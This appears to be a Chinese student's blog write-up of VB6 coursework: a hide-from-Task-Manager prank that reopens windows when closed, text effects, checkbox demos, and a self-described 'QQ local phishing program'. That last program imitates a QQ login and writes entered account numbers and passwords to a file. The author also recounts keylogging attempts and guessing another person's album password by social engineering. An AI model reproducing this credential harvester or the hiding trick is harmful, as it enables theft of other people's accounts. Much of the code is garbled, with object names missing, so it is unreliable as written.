2024年1月13日发(作者：)
VB面向对象程序设计，从开始到现在，我学到了一个面向对象的思想，VB很不错的一个入门面向对象编程语言，下面开始说下我从开始学习到现在总结和积累的经验吧。。。
刚开始玩VB，感觉真好玩，只会一个show（）方法，想了一个捉弄人的好玩的东东，毕竟刚开始玩，要有自己的创新，直接看api函数，看不懂，所以先简单的做一个自己的小程序了，做了发给朋友玩玩，嘿嘿，好玩。。。
1：初学VB制作一个好玩的程序
说明：本程序是初级VB，刚玩的时候制作的，捉弄人玩的吧，因为我比较喜欢玩，所以这个捉弄人的小小程序就诞生了，思路是这样的，先初始设置4个窗体，在桌面四个角上，每个角都设置一个，启动出窗体设置第一个form1，然后关闭一个就显示其他的三个，这样他打开后显示一个窗体，只要关闭就会显示三个，关闭其中任何一个，就显示其他的三个窗体，因为要捉弄人吧，总不能被人家在任务管理器直接关闭了吧，所以要加上一句，sible = False，加上这句在任务管理器中就看不到应用程序啦，不过在进程中还是能看到的，想隐藏进程吗，就算VC也不可能吧，有一种方法可以插入进程，但是不是隐藏进程，因为是玩玩了，没必要搞的那么麻烦，而且是新手所以制作个这样简单好玩的东西哈。。。
代码部分：
Private Sub Form_Load()
sible = False ‘这里上面说了是隐藏任务管理器中应用程序显示的。
MsgBox "欢迎大家一起交流技术QQ：454690484 网站", , "网痴娱乐技术" ‘ 这里是打开的时候装入一个消息框用来显示内容效果如下：
End Sub
Private Sub Form_Unload(Cancel As Integer)
‘上面的那是窗体装入事件，这里的是窗体卸载事件，
‘当窗体被卸载（关闭）的时候让form2，form3，form4三个窗体显示。。。
End Sub
Private Sub Timer1_Timer()
‘这里需要提前画一个时间控件，因为喜欢玩嘛，所以做了个特效，要字体颜色不断变换哦，设定变换颜色可以设置时间控件的interval这个属性，来设定变换颜色间隔的时间，显示颜色，我用的是常量颜色，当然还可以用那个RGB函数，下面的常量vbRed代表红色，vbGreen代表蓝色，就是vb然后加上颜色英文，可以查下VB常量。。。
If lor = vbRed Then
lor = vbGreen
Else
lor = vbRed
End If
‘判断如果是红色则变成绿色，如果不是红色的话，变成红色，因为这里面的事件是在时间控件里面发生的，因interval这个属性来决定变换颜色的速度。。。
End Sub
其他三个窗体也都要这么设置，那么只要关闭一个就显示其他的三个了，刚开始玩，发给朋友，感觉真好玩，这是我的第一个VB程序。。。截个图看下效果
呵呵，在应用程序里面找不到，关不掉，不过在进程里面是可以找到的，关掉就可以了。。。
2：好玩的自作特效代码
说明：一次看到一个青年文摘网页，那文字是一个一个的出现，而且鼠标是十字形状的，以后自学网站才知道那个鼠标样式原来是通过CSS设置的，言归正传，人家用那个网页实现，是jsp实现的，我也想用VB实现，要实现肯定不是难事，关键是思路，要有思路，下面说下我的思路，对了，这个程序本以为有人发明出来了，公开可以百度查到呢，我查了一下，没有这个代码，至今这个代码虽然简单，不过是我自己原创哦，查到一个海天软件学院某人写的一个VBS脚本，后面分析那个程序，哼，海天软件学院未必会超越我们现代计算机学子，用技术来证明一切了。。。 下面说下我的思路，是在一个时间控件里面，先声明一个静态变量，因为要累计加嘛，显示一个字，就加一个，一直到全部显示完毕为止，思路就是这样的，下面分析代码部分。
代码部分：
Private Sub Form_Load()
al = 1000 ‘在程序装入事件中设置时间控件的Interval属性，1000这里代表一秒。。。
End Sub
Private Sub Timer1_Timer()
Dim AnyString As String, MyStr As String ‘先声明两个变量
Static n As Long ‘声明一个静态变量用来累加
AnyString = "老师你好，这是本姑娘的程序设计，嘿嘿，希望亲爱的老师给个高分。"
MyStr = Left$(AnyString, n) ‘返回n个字符。
= MyStr ‘ 把返回的n个字符串显示在文本框里面
n = n + 1 ‘ 这里用来n累加，显示一个就加一个
End Sub
这个程序是个动态特效，所以截图看不了，老师原谅哈，去看下程序的效果吧。。。
3：单选框和复选框演示程序
说明：此程序是上课学到的单选框与复选框控件的应用，不过我又最新学会了一个NOT操作，代替了if else ，简化的代码，而且应用了VB颜色常量和RGB函数，下面直接看代码吧。
代码部分：
Option Explicit
Private Sub Check1_Click()
ld = Not ld ‘复选框粗体
End Sub
Private Sub Check2_Click()
alic = Not alic ‘复选框倾斜
End Sub
Private Sub Check3_Click()
derline = Not derline ‘复选框下划线
End Sub
Private Sub Option1_Click()
lor = vbRed
End Sub
Private Sub Option2_Click()
lor = vbGreen
End Sub
Private Sub Option3_Click()
lor = vbBlue
End Sub
Private Sub Option4_Click()
lor = RGB(0, 255, 0)
End Sub
Private Sub Option5_Click()
lor = RGB(255, 0, 0)
End Sub
Private Sub Option6_Click()
lor = RGB(0, 0, 255)
End Sub
‘lor代表前景色，字体的颜色，用的VB颜色常量，lor代表背景颜色，用的RGB函数实现的，截图如下：
具体程序效果见程序。。。
4 ： 总结文件操作： 顺序读写，随机读写，二进制读写。
说明：总结了几种文件读写操作，因为现在都用数据库嘛，好久没做这方面了，所以快都忘记了，顾名思义，顺序读写，如果是依此查询记录，肯定用顺序文件操作，如果是从中找记录，肯定是随机读写快了，各有千秋嘛。。。下面是我整理的代码。。。
顺序文件读写
随机文件读写
二进制文件读写
这就是我整理的各种读写文件操作的代码了。。。
5：自作QQ本地钓鱼程序
说明： 学会了文件读写总该做点好玩的事吧，我也是花了一些时间才做出这个程序的，因为好玩，所以这个本地钓鱼程序又出来了，这也是网上所有人所说的钓鱼程序，其我感觉真正的盗QQ高手不是钓鱼，而是VC编译的木马，有人说通过封包截取消息，有人说截获内存，有人说通过windows的日志钩子，曾经我尝试过键盘钩子，记录QQ密码，他密码加密了，在这里啰嗦一下吧，QQ如果你记住密码的话，本来是8位数的密码，下一次登录的时候数一下密码的位数，应该不是8位数了吧，这是因为QQ密码框加密了，一个MD5加密就够强悍了，对于密码学，我没详细研究下去了，不过要我直到有一种简单的，社会工程学，有一次朋友让我帮他破解别人的QQ相册密码，QQ相册密码数字，字母，特殊符号，汉字，都带，而且是IP认证，如果多次输入密码不对，那就要输入密码，这样禁止了别人暴力破解，就算暴力破解也不现实的，我差不多已经放弃了，那个问题是一个女孩子的名字，我看了下他以前的日志和他的心情，好像是情侣，猜测了很多，最后没想到被我猜对了，密码是521，因为比较喜欢这方面，所以老师纵容我多说一下哦，那上面就是社会工程学原理破解的了。。。
嗯，说下我这个QQ钓鱼的思路，就是画两个文本框，然后通过文件读写记录下来，网上的钓鱼程序，都是加一个发邮件的过程，这里我说发邮件的代码了，好了，下面开始看代码了。。。
代码部分：
Private shuju As Integer ‘ 外部定义一个局部变量，后面会用到
Private Sub Command1_Click()
Dim a As String
Dim b As String
shuju = FreeFile
Open "d:/网痴遍历日记.txt" For Append As shuju ‘顺序文件创建一个文件d:/网痴遍历日记.txt，这里写的是路径哦。
a =
b =
If b = "" Then
MsgBox "qq密码不可为空。", vbDefaultButton1, "请注意"
End
End If
If a = "" Then
MsgBox "qq号码不可为空", vbDefaultButton1, "无效的 QQ号码 格式"
End
Else
If a <= 6 Then
MsgBox "格式要求：由6到16个字符组成。", vbDefaultButton1, "无效的 QQ号码 格式"
If a >= 16 Then
MsgBox "格式要求：由6到16个字符组成。", vbDefaultButton1, "无效的 QQ号码 格式"
Else
End
End If
End If
End If
Print #shuju, "帐号:"; a, "密码:"; b ‘写入shuju文件中
Close shuju ‘关闭文件
End
End Sub
Private Sub Command2_Click()
Dim qq
qq = Shell(" " & "") ‘这里是附加了一个按钮，网站首页，就是我的网站，老师我没做坏事哦，只是技术交流嘛，以后也不会做坏事的。
End Sub
Private Sub Form_Unload(Cancel As Integer)
Dim wangchi
wangchi = Shell(" " & "")
MsgBox "学软件开发，正当合法的IT技术，请发邮件给我，454690484@，不诚信的勿扰", , "谢谢用网痴软件！"
End Sub
Private Sub Timer1_Timer()
‘ 这里又是一个特效，一个移动的标签。。。
If < Width Then
= + 20
Else
= 0
End If
End Sub
打开效果如下：
声明： 因为现在互联网打击这方面，我只是做个程序提供大家学习和交流，并不是用来做坏事的，切勿用于商业用途，否则后果自负。。。 习惯了写IT法律上的这一下部分，嘿嘿，因为现在工信部管理制度真的很严，不想成为下一个窦娥哦。。。
发布评论